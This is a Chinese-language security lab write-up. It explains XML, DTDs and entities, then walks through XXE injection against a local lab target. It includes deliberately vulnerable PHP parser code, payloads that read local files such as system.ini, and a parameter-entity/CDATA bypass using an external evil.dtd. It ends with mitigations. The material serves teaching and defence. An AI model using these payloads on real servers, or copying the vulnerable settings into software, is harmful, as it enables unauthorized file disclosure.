实验环境用的是合天网安实验室
基础知识
1. 什么是XML
xml: eXtensibleMarkup Language,可扩展标记语言,使用简单的标记来描述数据。
xml是一种非常灵活的语言,类似于HTML语言,但是并没有固定的标签,所有的标签都可以自定义,其设计的宗旨是传输数据,而不是像HTML一样显示数据。
xml不会做任何事情,它是被设计用来结构化、存储以及传输信息,也就是xml文件所携带的信息,需要被其他的语言或者程序来解析,才能发挥作用。
2. XML的用处
通常,xml被用于信息的记录和传递(比如,数据库的导出导入会很麻烦,但是xml会很方便),也会被用于充当配置文件。也会被应用于Web 开发的许多方面,常用于简化数据的存储和共享。如:
XML 把数据从 HTML 分离,更方便在HTML文档中显示动态数据。
XML 简化数据共享,XML数据以纯文本格式进行存储,因此提供了一种独立于软件和硬件的数据存储方法。这让创建不同应用程序可以共享的数据变得更加容易。
XML 简化数据传输,由于可以通过各种不兼容的应用程序来读取数据,以 XML 交换数据降低了不兼容系统之间交换书据的复杂性。
XML 简化平台变更,使用XML存储一些不兼容的数据,可以在系统或软件升级,转换大量的数据时,避免数据的丢失。
XML 使您的数据更有用,XML可以使不同的应用程序都能够访问您的数据,使得数据的用途更广。
XML 用于创建新的互联网语言,如XHTML、WSDL、WAP 和 WML、RSS 、RDF 和 OWL等
3. 什么是XML注入
XML与HTML一样,也存在注入漏洞。比如:一个 web 应用,在进行用户注册时,选择以 xml 来存储数据到 xmldb 数据库中,当用户填写用户名,密码和邮箱时,后台存储的文件格式及内容如下:
那么攻击者就可以在注册的时候构造恶意的数据,假设他在用户名与密码的输入框中输入正常的文本,在最后的邮箱输入框中输入如下内容:
那么就会多注册一个名为admin的用户。
综合上面的小例子,我们可以知道,能够进行XML注入攻击的前提是,用户能够控制数据的输入,程序没有对输入的内容进行过滤且拼接了数据。那么相应的,破坏掉其中一个前提就可以进行防御了,既然我们无法限制用户的输入,那么就可以对数据进行过滤,将XML语言本身的“保留字符”进行过滤或者转义即可。
4. 什么是XXE注入漏洞:
XXE注入也是XML注入的一部分,但相较于普通的XML注入,XXE注入的攻击面更广,危害更大。
XXE注入(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,所注入的对象就是我们实验任务一中提到的重点: XML外部实体。当遇见能够解析XML内容的页面时,如果能注入外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面。
XXE的攻击形式主要分为:带内数据实体注入、基于错误的实体注入和带外数据实体注入
带内数据实体注入:in-band ,XML解析后的数据会直接显示在屏幕上
基于错误:error-based,解析结果只有一大堆的错误
带外数据:out-of-band,也叫XXE盲注,注入的XML解析后无任何输出响应,必须执行一些带外请求把数据提取出来。
5. XXE注入能做什么:
a. 任意文件读(本实验重点)
b. SSRF,服务端请求伪造,借助漏洞实现内网探测,
c. DOS攻击
d. 远程命令执行
6. PHP的XXE注入产生的条件:
a. Libxml的版本尽可能的低,libxml是PHP的xml解析库,因为从2.8.0版本开始,libxml默认是不加载外部实体的,如果要使用较高版本的libxml的话,需要在编写代码的时候对参数做设置。
b. 目标主机没有禁用外部实体的引用。
c. 用户可以控制xml的输入内容
实验步骤一
任务描述:学习XML基础知识。
1、一个XML示例:
<?xml version="1.0" encoding="utf-8"?>
<!--这里是注释-->
<books>
<book id="b01">
<name>Python黑客编程从入门到入狱</name>
<author>张三</author>
<price>$20.00</price>
</book>
</books>
如上代码,第一行是XML文档的声明,由“<?xml”开头,以“?>”结尾,其中的内容是对本xml文档所使用的版本 “version”和编码“encoding”的声明,version一般情况下都是1.0,因为目前为止,xml只有这一个版本。
第二行是注释,不多做解释。
从第三行开始,就是XML文档的主要内容了,如代码中所示的“<books>”,是本文档的根元素,“<book>”是“<books>”的子元素,而“<name>、<author>、<price>”也都是子元素,但是是“<book>”的子元素。
那么我们可以将这个XML文档,视为是一个描述图书的文档,它所描述的内容,包括了图书的名字、作者和价格,如果使用程序对这个文档进行解析后,那么这些信息就可以更好的显示在web页面或者是应用程序中,方便用户查看。
2、XML的格式
a. 声明信息,用于描述xml的版本及编码格式。
<?xml version="1.0" encoding="utf-8" ?>
b. xml有且仅有一个根元素(可以理解为顶级的元素、没有被其他元素包起来的元素)。个人理解:像是数据库的表名
c. xml中大小写敏感
d. 标签是成对出现的,所有元素都必须有一个关闭标签,而且要正确嵌套。
e. 属性值要使用双引号
f. 注释的写法。
<!--这是注释 -->
g. 一个格式良好的xml文件
<?xml version="1.0" encoding="utf-8"?>
<!--这里是注释-->
<books>
<book id="b01">
<name>Python黑客编程从入门到入狱</name>
<author>张三</author>
<price>$20.00</price>
</book>
</books>
h. XML并不是让用户直接打开的,而是让别的语言来从文件中读取信息的。至于为什么可以直接用浏览器浏览,只是浏览器可以识别而已。
3、 XML的属性
虽然XML像HTML一样,也有属性,但是一般不推荐使用属性,如果某个信息看起来很像是数据,那么最好是使用元素来表示它,而不是属性。
4、 XML验证
拥有正确语法的 XML 被称为"形式良好"的 XML。而判断XML的语法是否合法,叫做XML验证,是通过 DTD进行验证的。
DTD:Document TypeDefinition 文档类型定义。用于约束xml的文档格式,保证xml是一个有效的xml,DTD分为内部和外部两种。DTD定义在xml文件中视为内部DTD;DTD定义在外部的dtd文件中,视为外部DTD。
说的简单一点,DTD就是对当前的XML文档做一个约束,DTD中定义了这个文档中的根元素是什么,有几个子元素,每个子元素能出现几次,哪些元素有属性,属性的类型是什么,属性的默认值是什么等等,如果后面的XML内容中,与DTD中的定义不符,如元素个数不符、元素名称大小写不符等,那么XML文件解析时就会报错。
1)内部DTD的使用:
内部DTD的定义
<!DOCTYPE 根元素 [元素声明]>
元素声明语法
[
<!ELEMENT 根元素 (子元素)>
<!ELEMENT 根元素的子元素 (子元素的子元素,子元素的子元素)>
<!ELEMENT 子元素 (数据类型)>
<!ELEMENT 子元素 (数据类型)>
]
元素声明中的数量词
"+" 表示出现一次或者多次
"?"表示出现0次或多次
"*"表示出现任意次。
属性声明语法
<!ATTLIST 元素名称 属性名称 属性类型 默认值>
示例:
<?xml version="1.0" encoding="utf-8"?>
<!--这里是注释-->
<!DOCTYPE books [
<!ELEMENT books (book+)>
<!ELEMENT book (name,author,price)>
<!ATTLIST book id CDATA #REQUIRED>
<!ELEMENT name (#PCDATA)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT price (#PCDATA)>
]>
<books>
<book id="b01">
<name>Python黑客编程从入门到入狱</name>
<author>张三</author>
<price>$20.00</price>
</book>
</books>
如上,就是一个内部DTD的引用示例,在DTD定义中,要求根元素books的子元素book出现一次及以上,子元素book又有三个子元素,分别为name,author和price,然后声明了元素book的id属性,其类型是CDATA,并且是必须的(#REQUIRED),最后定义了book的三个子元素的数据类型为#PCDATA,这表示这三个元素标签中的内容必须是文本,并能再出现子标签。
2)外部DTD的使用:
首先需要创建一个外部的dtd文件。内容中不需要包括<!DOCTYPE...>,直接<!ELEMENT...>,如下所示:
<?xml version="1.0" encoding="utf-8"?>
<!ELEMENT books (book+)>
<!ELEMENT book (name,author,price)>
<!ATTLIST book id CDATA #REQUIRED>
<!ELEMENT name (#PCDATA)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT price (#PCDATA)>
然后在XML文档中引入外部的DTD:
<!DOCTYPE books SYSTEM "xxx.dtd">
注意外部实体引用时的关键字“SYSTEM”,同时也可以使用“PUBLIC”这个关键字,这两者的区别在于,SYSTEM表示私有的DTD,PUBLIC表示共有的DTD。
5、DTD实体(重点学习)
首先,什么是DTD实体,简单点理解,实体就像是变量,可以用于存储数据,以便后续的使用。但它的功能又不仅仅是存储,比如外部实体,除了可以存储数据,还可以从远程文件或远程网络中读取内容或调用数据。至于什么是外部实体,别着急,接着往后看。
从实体被定义的位置来看,实体可以分为内部实体和外部实体,就像内部DTD和外部DTD一样,内部实体,就是在XML文档内部的DTD进行定义的实体,外部实体就是定义在外部DTD文件中然后被引用到当前XML中的实体。
1)内部实体声明:
声明语法:
<!ENTITY 实体名称 "实体的值">
一个实体的引用,由三部分构成:&符号, 实体名称, 分号。
内部实体引用示例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE books [
<!ENTITY test "Hello World">
]>
<books>&test;</books>
PHP解析示例代码:
使用浏览器进行访问,并将xml代码作为参数传入,可以不复制xml声明,记得要将引用实体时的“&”手动编码为“%26”(因为我们这里使用的是GET传参的方式,所以传入的内容会被进行URL编码,但是&在URL中被认为是两个参数的分隔符,所以如果我们不对其进行URL编码转换,浏览器会把它当作参数的分隔符来处理):
2)外部实体声明:
声明语法:
<!ENTITY
实体名称 SYSTEM "URI/URL"
>
声明一个外部实体的关键在于“SYSTEM”这个关键字。SYSTEM在此意图让xml解析器知道,现在声明的是一个外部实体,需要从后面的外部资源中获取内容并存储在内部实体,如果后面的外部资源的语法,存在特殊符号,那么xml解析器会报错。
外部实体引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,比如http、file、ftp等,具体内容如下所示:
外部实体引用示例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE books [
<!ENTITY xxe SYSTEM "http://localhost/xmltest.txt">
]>
<books>&xxe;</books>
靶机www目录文件系统内容:
getxml.php:
<?php
libxml_disable_entity_loader(false);
$xml = simplexml_load_string($_GET['xml'],"simplexmlElement",LIBXML_NOENT);
echo "<pre>";
print_r($xml);
echo "</pre>";
?>
xxetest2.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
?>
依旧将代码作为参数传入:
正确URL为:
另外,从实体的引用方式来区分,实体又可以分为:一般实体、参数实体、预定义实体。
一般实体:General Entities,就是我们上面的示例中的实体,使用&进行引用
预定义实体:PredefinedEntities,就是xml本身对一些特殊字符进行了预定义,方便用户直接引用,比如小于号,如果直接在xml文档中使用小于号,会被xml解析器视为标签,从而引起解析错误。那么此时就需要调用小于号所对应的预定义实体来引用:<。
参数实体:Parameter Entities,这也是XXE学习中的重点,在XXE利用中经常被使用。
3)参数实体
参数实体声明:
内部:<!ENTITY % 实体名称 "实体值">
外部:<!ENTITY % 实体名称 SYSTEM "URI">
参数实体应注意以下几点:
(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 “%实体名;” 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用
简单理解呢,就是参数实体不能像普通实体那样在xml文档内容中进行引用,它的引用范围只在当前xml文件的DTD声明中,或者是当前的DTD文件中。
参数实体引用示例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE books [
<!ENTITY % xxe "hello">
%xxe;
]>
<books></books>
那么它的引用效果是什么样的呢?我们拿下面这示例讲解一下:
像上图这样一个xml文档,我们定义了一个参数实体为test,他的值比较特殊,是一句普通实体的声明,然后是使用“%test”进行引用,最后在xml文档内容中使用“&hello”来引用定义的普通实体hello。
那么此文档中实体的定义其实就成为了下图所示的:
所以这个时候,我们直接使用浏览器查看的时候,会是下面的显示:
实验步骤二
任务描述:无回显的本地文件读取。(OOB out-of-band 外带参数实体注入)
但是,在实际情况中,大多数情况下服务器上的 XML 并不是输出用的,所以就少了输出这一环节,这样的话,即使漏洞存在,我们的payload的也被解析了,但是由于没有输出,我们也不知道解析得到的内容是什么,因此我们想要现实中利用这个漏洞就必须找到一个不依靠其回显的方法——外带数据
先看一下漏洞示例:xxetest.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
测试payload:
<?xml version="1.0" encoding="UTF-8"?>
<!-- payload 1 -->
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///c:/windows/system.ini">
]>
<root>&xxe;</root>
在浏览器中设置代理,打开burpsuite访问存在漏洞的页面:“xxetest.php”,并抓包,然后发送到Repeater中,构造请求包:
这样我们就读取到了windows系统的system.ini的文件内容。
但是这样也不代表这个payload的就适用于任何情况,比如我们更换一个读取的文件xmltest2.txt,内容是:
我们再使用刚才的payload测试:
这个时候就会如上图一样,报很多错误,主要是因为我们要读取的文件内容中存在很多的特殊字符:大于号、小于号等,我们在前面的XML基础巩固中也提到过,当xml的标签内还存在小于号、大于号等特殊字符时,尤其是小于号,会被XML解析器误认为是另一个标签的开始,这样就会造成解析的错误。所以我们的问题是:
所以我们就要想办法绕过。
这个时候我们就需要了解一下XML CDATA了,我们先看一下w3school中对他的描述:
XML CDATA
所有 XML 文档中的文本均会被解析器解析。
只有 CDATA 区段(CDATA section)中的文本会被解析器忽略。
在 XML 中有 5 个预定义的实体引用:
< | < | 小于 |
> | > | 大于 |
& | & | 和号 |
' | ' | 省略号 |
" | " | 引号 |
注释:严格地讲,在 XML 中仅有字符 "<"和"&" 是非法的。省略号、引号和大于号是合法的,但是把它们替换为实体引用是个好的习惯。
CDATA
术语 CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。
在 XML 元素中,"<" 和 "&" 是非法的。
"<" 会产生错误,因为解析器会把该字符解释为新元素的开始。
"&" 也会产生错误,因为解析器会把该字符解释为字符实体的开始。
某些文本,比如 JavaScript 代码,包含大量 "<" 或 "&" 字符。为了避免错误,可以将脚本代码定义为 CDATA。
CDATA 部分中的所有内容都会被解析器忽略。
CDATA 部分由 "<![CDATA[" 开始,由 "]]>" 结束:
<script>
<![CDATA[
function matchwo(a,b)
{
if (a < b && a < 0) then
{
return 1;
}
else
{
return 0;
}
}
]]>
</script>
在上面的例子中,解析器会忽略 CDATA 部分中的所有内容。
关于 CDATA 部分的注释:
CDATA 部分不能包含字符串 "]]>"。也不允许嵌套的 CDATA 部分。
标记 CDATA 部分结尾的 "]]>" 不能包含空格或折行。
那么了解了这些,我们就可以尝试使用CDATA再次去读取目标文件的内容,我们首先需要把要读取的到的内容放在CDATA中,但是CDATA并没有提供拼接的方法,所以我们暂且使用普通实体进行拼接尝试:
<!DOCTYPE root [
<!ENTITY start "<![CDATA[">
<!ENTITY xxe SYSTEM "http://localhost/xml/xmltest2.txt">
<!ENTITY end "]]>">
]>
<root>&start;&xxe;&end;</root>
尝试直接使用实体来进行拼接,但是测试失败
这说明我们的拼接方式不可行,我们现在使用的是一般实体,我们在前面的xml基础知识中介绍过了,一般实体的引用是在xml文档内容中,既然在xml文档内容中拼接不可行,那再dtd中拼接可行吗?我们再次进行尝试,既然再dtd中拼接,那就需要用到参数实体了。
我们再次尝试构造payload:
<!-- payload 4 -->
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % xxe SYSTEM "http://localhost/xml/xmltest2.txt">
<!ENTITY % end "]]>">
<!ENTITY all "%start;%xxe;%end;">
]>
<root>&all;</root>
理论上,将这几个参数实体拼接了起来,并将值赋给了一般实体all,但是遗憾的是,我们的payload还是报错了:
那么这又是为什么呢?根据XML规范所描述:“在DTD内部子集中的参数实体调用,不能混掺到标记语言中”,这是什么意思呢?就是不能在实际的标记语言中来调用参数实体,像我们这样,就是在标记语言中进行调用:
但可以在同级别中被当作标记语言调用,就像是参数实体的引用,就是将调用当成了一个标记语言,像这样:
也就是我们所构造的payload这种使用方式,不能在内部DTD中被这样使用,但是幸运的是,XML规范还声明了一点:“外部参数实体不受此限制”,这就告诉我们可以使用外部的DTD来构造payload,将我们的CDATA内容拼接起来:
<!-- payload 5 -->
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % xxe SYSTEM "http://localhost/xml/xmltest2.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://localhost/xml/evil.dtd">
%dtd;
]>
<root>&evil;</root>
DTD文件的内容:
再次进行攻击尝试,成功读取到文件内容:
方案一、使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二、过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。